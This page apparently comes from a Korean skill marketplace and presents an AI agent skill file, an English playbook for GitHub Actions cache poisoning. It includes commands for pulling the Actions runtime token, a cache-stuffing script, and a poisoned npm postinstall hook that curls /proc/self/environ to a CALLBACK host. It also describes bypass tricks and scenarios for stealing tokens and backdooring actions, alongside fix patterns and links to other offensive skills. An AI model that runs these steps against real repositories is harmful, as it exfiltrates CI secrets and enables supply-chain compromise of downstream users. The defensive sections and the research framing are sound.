본문으로 건너뛰기
cccskills
무료GitHub에 공개

github-actions-cache-poisoning

Use when hunting GitHub Actions cache poisoning vulnerabilities where an attacker can inject malicious content into the CI/CD cache and have it restored by a privileged downstream workflow. Trigger on: "cache poisoning", "actions/cache", "actions/setup-node", "node_modules cache", "GitHub Actions cache", "pnpm cache", "LRU eviction", "10GB limit", "Cacheract", "poisoned cache", "workflow cache attack", supply chain via CI cache, "ng-renovate", "cache stuffing", scheduled workflow cache restore, shared cache key, "hashFiles package.json", cross-workflow cache, PR workflow release workflow same key, "npm install prefer-offline", Cacheract, Gato-X, supply chain npm token.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구GitHub
설치 방법 보기

포함된 파일(1)

  • SKILL.md9.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

GitHub Actions Cache Poisoning

What Is Broken and Why

GitHub Actions caches are shared across workflow runs within a repository. When a privileged workflow (with access to secrets or write permissions) restores a cache without verifying its integrity, an attacker who can write to the cache — even via a low-privilege workflow — can plant malicious content that executes in the privileged context. Since GitHub's November 2025 cache policy change, entries exceeding 10 GB are evicted immediately (not via batch jobs), making it possible to force eviction of legitimate cache entries and replace them with poisoned ones within a single workflow run.

Key Signals

  • Shared cache key across PR and release workflows: key: ${{ runner.os }}-node-${{ hashFiles('**/package.json') }} used identically in both a pull_request/pull_request_target workflow AND a release/publish workflow
  • Repository uses actions/cache, actions/setup-node, actions/setup-python (or similar) with caching enabled
  • A scheduled or bot-triggered workflow runs with elevated secrets and restores a shared cache
  • Cache keys are predictable or controllable (e.g., based on pnpm-lock.yaml hash, OS, Node version)
  • Attacker can trigger a workflow (e.g., via fork PR) that writes to the same cache namespace
  • pull_request workflows share cache namespace with base branch workflows
  • Package manager install step runs after cache restore without lockfile integrity check: pnpm install --frozen-lockfile (still executes postinstall scripts from restored cache)
  • Large cache repositories (close to or exceeding 10 GB limit)

Methodology

  1. Map all workflows and identify privileged ones: scheduled runs, workflow_run, bot-triggered, those with secrets.* access.
  2. Identify cache restore steps in privileged workflows — note cache keys and what is restored (node_modules, pip, gradle, etc.).
  3. Identify a workflow the attacker can trigger (fork PR, workflow_dispatch) that writes to the same cache namespace.
  4. Confirm the cache key overlap: attacker-controlled workflow must produce a cache entry that the privileged workflow will restore.
  5. Gain code execution in attacker-controlled workflow (e.g., via script injection — see github-actions-script-injection).
  6. From that execution context: a. Extract ACTIONS_RUNTIME_TOKEN from environment. b. Stuff the repository cache beyond 10 GB with junk data to force immediate LRU eviction of legitimate entries. c. Write poisoned cache entry (malicious node_modules with postinstall hook or patched binary).
  7. Wait for privileged workflow to run and restore the poisoned cache.
  8. Poisoned code executes — exfiltrate secrets or perform privileged actions.

Payloads & Tools

# Step 1: Extract Actions Runtime Token (from compromised workflow environment)
echo $ACTIONS_RUNTIME_TOKEN
echo $ACTIONS_CACHE_URL

# Step 2: Stuff cache to trigger 10GB LRU eviction
# Use GitHub Actions cache API to upload large junk entries
python3 -c "
import requests, os, uuid
token = os.environ['ACTIONS_RUNTIME_TOKEN']
cache_url = os.environ['ACTIONS_CACHE_URL']
# Upload ~10GB of junk to evict legitimate entries
for i in range(100):
    key = f'junk-{uuid.uuid4()}'
    # POST to /_apis/artifactcache/caches
"

# Step 3: Create poisoned node_modules cache
# Add malicious postinstall script to a dependency
mkdir -p poisoned_node_modules/.bin
cat > poisoned_node_modules/evil-pkg/package.json <<'EOF'
{"name":"evil-pkg","scripts":{"postinstall":"curl -d @/proc/self/environ https://CALLBACK"}}
EOF
# Pack and upload as cache entry matching target workflow's cache key
# Identify cache key patterns from workflow YAML
grep -rn 'cache-dependency-path\|key:.*pnpm\|key:.*npm\|key:.*yarn' .github/workflows/

# Find workflows with privileged secrets + cache restore
grep -rn 'secrets\.' .github/workflows/ | grep -l 'setup-node\|actions/cache'

Tool: Cacheract — PoC automating Runtime Token extraction, cache stuffing, and poisoned entry upload. Not publicly released; replicate logic via GitHub Actions cache API (/_apis/artifactcache/).

Bypass Techniques

  • Cache key prediction: most cache keys are deterministic (OS + lockfile hash) — compute them without running the workflow
  • Restore key fallback: GitHub Actions v2 treats all keys as restore keys; partial key matches are sufficient for restore — no need to match the full cache key
  • Eviction racing: flood cache with many small entries rather than one large one to more reliably trigger eviction
  • Postinstall hooks: malicious code in postinstall/prepare npm scripts executes during npm install / pnpm install even with --frozen-lockfile (lockfile only checks versions, not scripts)
  • Binary replacement: replace a trusted binary (e.g., node, pnpm) in the cached node_modules/.bin/ with a trojanized version
  • Workflow run ordering: use gh api to monitor workflow run queue and time the cache poisoning to execute just before the privileged workflow

Exploitation Scenarios

Scenario 1 — Secrets exfiltration via poisoned node_modules Setup: Scheduled ng-renovate-style workflow runs nightly, restores node_modules cache, runs pnpm install --frozen-lockfile, then uses a secret token to push PRs. Trigger: Attacker gains RCE in a low-priv fork PR workflow, uses Cacheract to evict and replace node_modules cache with a version containing malicious postinstall scripts. Impact: When the scheduled workflow runs, postinstall executes the secret token to CALLBACK server. Attacker now has a privileged service account token.

Scenario 2 — Cascading supply chain compromise Setup: Attacker exfiltrates angular-robot-style PAT with repo + workflow scopes from poisoned cache. Robot account has a "bot exception" — maintainers approve its PRs without re-review after force-push. Trigger: Attacker waits for robot-created version bump PR to get approved, force-pushes the PR head to point to a backdoored action commit (optionally using lucky-commit to match the expected short SHA). Impact: Backdoored action merges into main CI, executes in all subsequent CI runs, exfiltrates GitHub App private key → attacker can push directly to main branch.

Scenario 3 — pip/gradle cache poisoning (non-Node) Setup: Python project's scheduled security scan restores pip cache and runs pip install -r requirements.txt. Trigger: Attacker poisons cached wheel for a dependency with a malicious setup.py install hook. Impact: Security scan workflow executes attacker code with whatever secrets are in scope.

False Positives

  • Cache is scoped to a branch and the privileged workflow only restores caches from protected branches (not fork PRs)
  • actions/cache configured with enableCrossOsArchive: false and strict OS/arch matching that prevents attacker-controlled workflows from producing matching keys
  • Cache keys include a secret-derived component unknown to the attacker
  • Privileged workflow does a clean install ignoring cache (npm ci --ignore-scripts with no actions/cache restore)

Fix Patterns

# WRONG: restore cache then install (executes cached postinstall scripts)
- uses: actions/setup-node@v4
  with:
    cache: 'pnpm'
- run: pnpm install --frozen-lockfile

# BETTER: disable scripts for cached installs, or skip cache in privileged workflows
- run: pnpm install --frozen-lockfile --ignore-scripts

# BEST: don't cache node_modules in privileged/scheduled workflows at all
- uses: actions/setup-node@v4
  # no cache: field
- run: pnpm install --frozen-lockfile
  • In privileged workflows, prefer npm ci / pnpm install without cache restore, or verify cache integrity via hash
  • Scope cache keys to include a secret-derived salt — attacker cannot predict or match the key
  • Use --ignore-scripts in CI installs and run lifecycle scripts explicitly and audited
  • Restrict fork PR workflows from writing to the main cache namespace (GitHub's GITHUB_REF scoping helps but is not foolproof)
  • Monitor cache entry creation via audit logs; alert on unexpected entries near the 10 GB limit

Related Skills

Cache poisoning requires an initial foothold in a workflow context — that foothold typically comes from [[github-actions-script-injection]] (injecting into a run: step) or [[pwn-request]] (executing preinstall scripts from attacker-controlled package.json). [[self-hosted-runner-poisoning]] makes cache poisoning more impactful because persistent runners carry poisoned state between jobs without needing a new LRU eviction cycle. The underlying primitive — writing to a shared resource without integrity verification — mirrors supply-chain techniques in [[pwn-request]].

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고